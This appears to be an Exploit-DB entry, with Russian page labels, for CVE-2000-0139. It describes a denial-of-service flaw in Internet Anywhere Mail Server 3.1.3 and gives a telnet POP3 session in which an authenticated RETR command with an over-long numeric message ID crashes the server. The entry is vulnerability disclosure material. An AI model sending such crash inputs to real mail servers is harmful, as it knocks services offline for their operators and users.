Exploit True North Software Internet Anywhere Mail Server 3.1.3 - RETR Denial of Service

[Exploiter]

EDB-ID

19748

Проверка EDB

1. Пройдено

Автор

NOBUO MIWA

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2000-0139

Дата публикации

2000-02-10

True North Software Internet Anywhere Mail Server 3.1.3 - RETR Denial of Service

source: https://www.securityfocus.com/bid/982/info


Submitting a RETR command with a message ID argument longer than 10 numeric characters will result in a crash of the Internet Anywhere Mail Server. A Doctor Watson error message will appear reporting an access violation by MailServer.exe. Restarting the mail server will resume functionality. This denial of service attack does not affect other running programs, and requires the attacker to have a valid username and password on the POP3 server. 

telnet target 110
+OK POP3 Welcome to someco.com using the Internet Anywhere Mail Server Version:3.1.3. Build: 1065 by True North Software, Inc. <[email protected]>
user username
+OK valid
pass password
+OK Authorized
RETR 11111111111